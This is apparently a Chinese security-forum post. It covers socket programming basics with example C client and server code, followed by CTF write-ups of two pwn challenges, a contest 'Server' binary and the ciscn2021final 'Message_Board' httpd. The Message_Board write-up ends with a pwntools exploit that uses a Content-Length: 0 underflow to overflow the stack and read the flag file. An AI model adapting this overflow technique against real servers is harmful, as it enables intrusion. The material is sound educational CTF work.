webpwn的一些总结
sn0w 发表于 广东 二进制安全 407浏览 · 2024-12-04 09:20

前置知识和基础

socket套接字详解(TCP与UDP)

  • 套接字是网络编程中的一种通信机制,是支持TCP/IP的网络通信的基本操作单元,可以看做是不同主机之间的进程进行双向通信的端点,简单的说就是通信的两方的一种约定,用套接字中的相关函数来完成通信过程

初识IP:

IP有源IP和目的IP之分,源ip就像是一个大范围来确定你属于哪一个区域,而目的ip也就是用来确认你的具体位置的

端口号:

端口号(port)是传输层协议的内容。

  • 端口号用来标识一个进程,告诉操作系统,当前这个数据交给哪一个程序进行解析;
  • IP地址 + 端口号能标识网络上的某一台主机的某一个进程;

  • 一个端口号只能被一个进程占用。

  • 端口号是一个2字节16位的整数;
socket API:
//创建socket文件描述符  (TCP/UDP,客户端+服务器)

int socket(int domain, int type, int protocol);

参数1(domain): 选择创建的套接字所用的协议族;
AF_INET : IPv4协议;
AF_INET6: IPv6协议;
AF_LOCAL: Unix域协议;
AF_ROUTE:路由套接口;
AF_KEY :密钥套接口。
参数2(type):指定套接口类型,所选类型有:
SOCK_STREAM:字节流套接字;
SOCK_DGRAM : 数据报套接字;
SOCK_RAW : 原始套接口。
procotol: 使用的特定协议,一般使用默认协议(NULL)。

//绑定端口号  (TCP/IP,服务器)

int bind(int socket, const struct sockaddr *address, socklen_t address_len);

参数1(socket) : 是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(address):指向特定协议的地址指针。
参数3(address_len):上面地址结构的长度。
返回值:没有错误,bind()返回0,否则SOCKET_ERROR。

//开始监听socket  (TCP,服务器)

int listen(int socket, int backlog);

参数1(sockfd):是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(backlog):所监听的端口队列大小。

//接受请求  (TCP,服务器)

int accept(int socket, struct sockaddr* address, socklen_t* address_len);

参数1(socket) : 是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(address):指向特定协议的地址指针。
参数3(addrlen):上面地址结构的长度。
返回值:没有错误,bind()返回0,否则SOCKET_ERROR。

//建立连接  (TCP,客户端)

int connect(int sockfd, const struct struct sockaddr *addr, aocklen_t addrlen);.

//关闭套接字
int close(int fd);

参数(fd):是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。

socket API是一层抽象的网络编程接口,适用于各种底层网络协议,如IPv4,IPv6,……

以下这个图可以很好的表示整个tcp网络连接过程:

服务器代码参考案例

#include<iostream>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
using namespace std;

#define SERVER_PORT  5050               //端口号
#define SERVER_IP    "192.168.3.254"    //服务器ip
#define QUEUE_SIZE   5                  //所监听端口队列大小

int main(int argc, char *argv[])
{
    //创建一个套接字,并检测是否创建成功
    int sockSer;                        
    sockSer = socket(AF_INET, SOCK_STREAM, 0);
    if(sockSer == -1){
        perror("socket");
    }
//设置端口可以重用,可以多个客户端连接同一个端口,并检测是否设置成功
int yes = 1;
if(setsockopt(sockSer, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1){
    perror("setsockopt");
}

struct sockaddr_in addrSer,addrCli;        //创建一个记录地址信息的结构体
addrSer.sin_family = AF_INET;              //所使用AF_INET协议族
addrSer.sin_port = htons(SERVER_PORT);     //设置地址结构体中的端口号
addrSer.sin_addr.s_addr = inet_addr(SERVER_IP);   //设置其中的服务器ip

//将套接字地址与所创建的套接字号联系起来。并检测是否绑定成功
socklen_t addrlen = sizeof(struct sockaddr);
int res = bind(sockSer,(struct sockaddr*)&addrSer, addrlen);
if(res == -1)
    perror("bind");

listen(sockSer, QUEUE_SIZE);       //监听端口队列是否由连接请求,如果有就将该端口设置位可连接状态,等待服务器接收连接

printf("Server Wait Client Accept......\n");
//如果监听到有连接请求接受连接请求。并检测是否连接成功,成功返回0,否则返回-1
int sockConn = accept(sockSer, (struct sockaddr*)&addrCli, &addrlen);
if(sockConn == -1)
    perror("accept");
else
{
    printf("Server Accept Client OK.\n");
    printf("Client IP:> %s\n", inet_ntoa(addrCli.sin_addr));
    printf("Client Port:> %d\n",ntohs(addrCli.sin_port));
}

char sendbuf[256];         //申请一个发送缓存区
char recvbuf[256];         //申请一个接收缓存区
while(1)
{
    printf("Ser:>");
    scanf("%s",sendbuf);
    if(strncmp(sendbuf,"quit",4) == 0)    //如果所要发送的数据为"quit",则直接退出。
        break;
    send(sockConn, sendbuf, strlen(sendbuf)+1, 0);   //发送数据
    recv(sockConn, recvbuf, 256, 0);    //接收客户端发送的数据
    printf("Cli:> %s\n",recvbuf);
}

close(sockSer);         //关闭套接字
return 0;

客户端代码:

#include<iostream>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
using namespace std;

#define SERVER_PORT  5050
#define SERVER_IP    "192.168.3.254"

int main(int argc, char *argv[])
{
    //创建客户端套接字号,并检测是否创建成功
    int sockCli;
    sockCli = socket(AF_INET, SOCK_STREAM, 0);
    if(sockCli == -1)
        perror("socket");

    //创建一个地址信息结构体,并对其内容进行设置
    struct sockaddr_in addrSer;     
    addrSer.sin_family = AF_INET;         //使用AF_INET协议族
    addrSer.sin_port = htons(SERVER_PORT);  //设置端口号
    addrSer.sin_addr.s_addr = inet_addr(SERVER_IP);   //设置服务器ip

    bind(sockCli,(struct sockaddr*)&addrCli, sizeof(struct sockaddr));    //将套接字地址与所创建的套接字号联系起来

    //创建一个与服务器的连接,并检测连接是否成功
    socklen_t addrlen = sizeof(struct sockaddr);
    int res = connect(sockCli,(struct sockaddr*)&addrSer, addrlen);
    if(res == -1)
        perror("connect");
    else
        printf("Client Connect Server OK.\n");

    char sendbuf[256];     //申请一个发送数据缓存区
    char recvbuf[256];     //申请一个接收数据缓存区
    while(1)
    {
        recv(sockCli, recvbuf, 256, 0);    //接收来自服务器的数据
        printf("Ser:> %s\n",recvbuf);
        printf("Cli:>");
        scanf("%s",sendbuf);
        if(strncmp(sendbuf,"quit", 4) == 0)    //如果客户端发送的数据为"quit",则退出。
            break;
        send(sockCli, sendbuf, strlen(sendbuf)+1, 0);   //发送数据
    }
    close(sockCli);       //关闭套接字
    return 0;
}

广东省第三届信息安全大赛--Server

静态分析部分:

__int64 __fastcall MEMORY[0x400DDE](int a1, char **a2, char **a3)
{
  size_t v4; // rax
  __int64 v5; // rbx
  char buf[140]; // [rsp+10h] [rbp-F0h] BYREF
  socklen_t addr_len; // [rsp+9Ch] [rbp-64h] BYREF
  struct sockaddr v8; // [rsp+A0h] [rbp-60h] BYREF
  struct sockaddr addr; // [rsp+B0h] [rbp-50h] BYREF
  char *src; // [rsp+C8h] [rbp-38h]
  char *v11; // [rsp+D0h] [rbp-30h]
  char *v12; // [rsp+D8h] [rbp-28h]
  int v13; // [rsp+E4h] [rbp-1Ch]
  int v14; // [rsp+E8h] [rbp-18h]
  int fd; // [rsp+ECh] [rbp-14h]

  fd = socket(2, 1, 0);
  if ( fd == -1 )
  {
    puts("create socket error\r");
    return 0xFFFFFFFFLL;
  }
  else
  {
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = htonl(0);
    *(_WORD *)addr.sa_data = htons(0x2A88u);
    if ( bind(fd, &addr, 0x10u) == -1 )
    {
      puts("bind error\r");
      return 0xFFFFFFFFLL;
    }
    else
    {
      if ( listen(fd, 2) != -1 )
      {
        while ( 1 )
        {
          do
          {
            addr_len = 16;
            v14 = accept(fd, &v8, &addr_len);
          }
          while ( v14 == -1 );
          memset(buf, 0, 0x80uLL);
          v13 = recv(v14, buf, 0x80uLL, 0);
          if ( v13 <= 0 )
          {
            puts("recv data error.\r");
          }
          else
          {
            buf[v13 - 1] = 0;
            v12 = strtok(buf, ":");
            v11 = strtok(0LL, ":");
            src = sub_400B8A((__int64)v12, (__int64)v11);
            if ( src )
            {
              strcpy(buf, src);
              free(src);
              src = 0LL;
              v4 = strlen(buf);
              v13 = send(v14, buf, v4, 0);
              v5 = v13;
              if ( v5 != strlen(buf) )
                puts("send data error.\r");
            }
          }
          close(v14);
        }
      }
      puts("listem error\r");
      return 0xFFFFFFFFLL;
    }
  }
}

先讲一下这个部分做了什么事情把:先是初始化一个socket套接字,定义了ipv4协议和端口号等等,bind()函数将指定的套接字文件描述符fd绑定到一个地址addr,绑到端口0x2A88u也就是10888上面然后accept接受连接,别看代码前面这么多if那都没影响 是来检测创造是否成功的,这里要注意的就是socket(2, 1, 0);

  • 第一个参数2表示使用的套接字地址族,这里是AF_INET,代表使用IPv4地址族。
  • 第二个参数1表示套接字的类型,这里是SOCK_STREAM,代表使用字节流套接字。
  • 第三个参数0表示选择的协议,0代表自动选择套接字类型所需的最合适的协议。

这里告诉我们socket的定义方式,我们后续用客户端写脚本连接的时候要对照上

v13 = recv(v14, buf, 0x80uLL, 0);然后这里是一个交互 我们可以输入0x80个字节传入buf 后面这个buf会经过strtok的函数,

v12 = strtok(buf, ":");
        v11 = strtok(0LL, ":");

这里是用:进行切割 比如你是aaa:bbbbb 那么v12就是aaa v11就是bbbbb

​ src = sub_400B8A((int64)v12, (int64)v11);

这题的关键漏洞点在这里,但我们先不看这个函数 先继续往下走看看

v13 = send(v14, buf, v4, 0);这里会把buf发出 到我们这边(客户端) 而buf的值又和src是相同的 因此所有目光都转向

​ src = sub_400B8A((int64)v12, (int64)v11);

漏洞函数分析

通过上面的执行流可以看出,flag和msg都被赋值进了相应的地方 但是程序自身执行思路是打开msg,所以整个程序执行流程就是传入buf,然后回显msg文件中的内容,这时候我们想到如果msg变成flag是不是就可以出了呢?

然后观察到两个地方

一个是v10和file离得很近,可以通过v10那个去覆盖file,然后v14是个无符号整型,如果给v14赋值-1 就可以覆盖到file的位置,那么我们的目光就很显然的转到sub_400AD7

i本来就是-1所以我们只要让if语段开头就执行就可以了,v1也就是v4也就是a1 也就是s1

这里是一个字符串拼接,调试的时候发现buf为0:00 就可以绕过直接执行if语句,从而就可以达到整型溢出 得到flag的目的。甚至都不需要exp 抽象

后补知识

有一个accept()函数的返回值,开始不懂httpd pwn 这里卡了挺久的,赛后分析了源码进行一下补充解释:

SYSCALL_DEFINE3(accept, int, fd, struct sockaddr __user *, upeer_sockaddr,
        int __user *, upeer_addrlen)
{
    return __sys_accept4(fd, upeer_sockaddr, upeer_addrlen, 0);
}

int __sys_accept4(int fd, struct sockaddr __user *upeer_sockaddr,
          int __user *upeer_addrlen, int flags)
{
    struct socket *sock, *newsock;
    struct file *newfile;
    int err, len, newfd, fput_needed;
    struct sockaddr_storage address;

    if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
        return -EINVAL;

    if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
        flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
        // 通过fd找到socket实例
    sock = sockfd_lookup_light(fd, &err, &fput_needed);
    if (!sock)
        goto out;

    err = -ENFILE;
        // 创建一个新的socket实例
    newsock = sock_alloc();
    if (!newsock)
        goto out_put;

    newsock->type = sock->type;
    newsock->ops = sock->ops;

    /*
     * We don't need try_module_get here, as the listening socket (sock)
     * has the protocol module (sock->ops->owner) held.
     */
    __module_get(newsock->ops->owner);
        // 分配一个新的fd
    newfd = get_unused_fd_flags(flags);
    if (unlikely(newfd < 0)) {
        err = newfd;
        sock_release(newsock);
        goto out_put;
    }
        // 创建file
    newfile = sock_alloc_file(newsock, flags, sock->sk->sk_prot_creator->name);
    if (IS_ERR(newfile)) {
        err = PTR_ERR(newfile);
        put_unused_fd(newfd);
        goto out_put;
    }

    err = security_socket_accept(sock, newsock);
    if (err)
        goto out_fd;
        // 这里调用 inet_accept(),该函数内获取到新连接的client,并实例化socket实例
    err = sock->ops->accept(sock, newsock, sock->file->f_flags, false);
    if (err < 0)
        goto out_fd;

        // client的addr从内核空间copy到用户空间
    if (upeer_sockaddr) {
        len = newsock->ops->getname(newsock,
                    (struct sockaddr *)&address, 2);
        if (len < 0) {
            err = -ECONNABORTED;
            goto out_fd;
        }
        err = move_addr_to_user(&address,
                    len, upeer_sockaddr, upeer_addrlen);
        if (err < 0)
            goto out_fd;
    }

    /* File flags are not inherited via accept() unlike another OSes. */
        // fd和file绑定
    fd_install(newfd, newfile);
    err = newfd;

out_put:
    fput_light(sock->file, fput_needed);
out:
    return err;
out_fd:
    fput(newfile);
    put_unused_fd(newfd);
    goto out_put;
}

当socket模式设置为阻塞,accept函数的功能是阻塞等待client发起三次握手,当3次握手完成的时候,accept解除阻塞,并从全连接队列中取出一个socket,就可以对这个socket连接进行读写操作

从accept函数的实现来看,内部实现很通透:

1.创建一个新的socket实例

2.阻塞等待accept队列,直到有已就绪的连接,则从队列中取走

3.socket和新连接做绑定

复现服务器脚本然后执行./server

#!/usr/bin/python3

from pwn import *
import socket

# 先尝试占用端口10888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.bind(('', 10888))  # 绑定到10888端口
    print("成功占用端口10888")
except Exception as e:
    print("占用端口10888失败: {}".format(e))
    exit(1)

ciscn2021final Message_Board

漏洞分析:

这里的V2是我们Content-Length参数的值 而由于是size_t 且是 --n 那么 如果我们传入的值是0的话 n就会变为一个很大的正值 从而导致溢出 但是这里退出的条件是n=0 因此要传多点不能刚好传到溢出就结束,不然程序会继续循坏。

然后这里劫持到了程序流后 可以选择 去走泄露libc然后打ogg或者system去拿shell 但是会有点麻烦 我没有成功泄露 就走了另一个路径 关注到有一个

就是把文件读取然后输出,这里我们可以控制ebp 然后返回到这个0x804924c这个位置,如果此时ebp-0x42c是flag这个字符串的地址就可以拿到shell了。而恰巧 全局变量dest 在bss段上,也就是说我们在传入参数的时候比如说username的参数或者message的参数传一个flag就可以了,这边只能传入message 因为\x00截断的原因 后面会具体解释

传参规则分析

分析完漏洞可能的利用之后 就来看一下 如何去执行到漏洞点并且利用

read_content函数

sub_804906C(s);

然后是进入这个函数的分析,这里有个注意的点就是这个s相关的赋值

是这两个一块的 我当开始没调试 这里很蒙圈 想着不应该s就只传了一次post吗 那哪些参数怎么传的 虽然调清楚了但不是特别明白在代码层次

这里的话就说明第一次发送的应该是 POST /submit HTTP/1.1\r\n

这里要先读取到Cookie然后检测传入参数 username和message

因此我们第二次传入的参数为Content-Length:0\r\n 第三次传入的参数为Cookie: Username=flag;Messages=flag\r\n 第四次传入\r\n就退出循环

然后到漏洞利用环节

b'a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages='))+p32(0x80492BD)#+p32(0x8049339)

解释一下:

这里的p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages=')) 这部分是因为lea eax, [ebp-42Ch] 这个 然后因为我们 ::dest的值是我们传入参数的值决定的 最后一次传参后 ::dest是

也就是说 我们flag直接用这个的位置就可以了 为什么不用username呢 因为flag后面有别的参数...... 而加\x00前面的检查就过不了就选这个Cookie: Username=flag;Messages=的位置 然后进入get_file函数就可以了

拿flag的exp如下

#!/usr/bin/python3
from pwn import *
io=process('./httpd')
#io=remote('node4.buuoj.cn',25119)
context.log_level='debug'
gdb.attach(io, "b *0x8049817")

pause()
payload=b'POST /submit HTTP/1.1\r\nContent-Length: 0\r\nCookie: Username=flag;Messages=flag\r\n\r\n'
io.sendline(payload)
payload=b'a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages='))+p32(0x80492BD)
payload=payload.ljust(0x5000,b'\x00')
#gdb.attach(io)
io.sendline(payload)
io.interactive()
0 条评论
某人
表情
可输入 255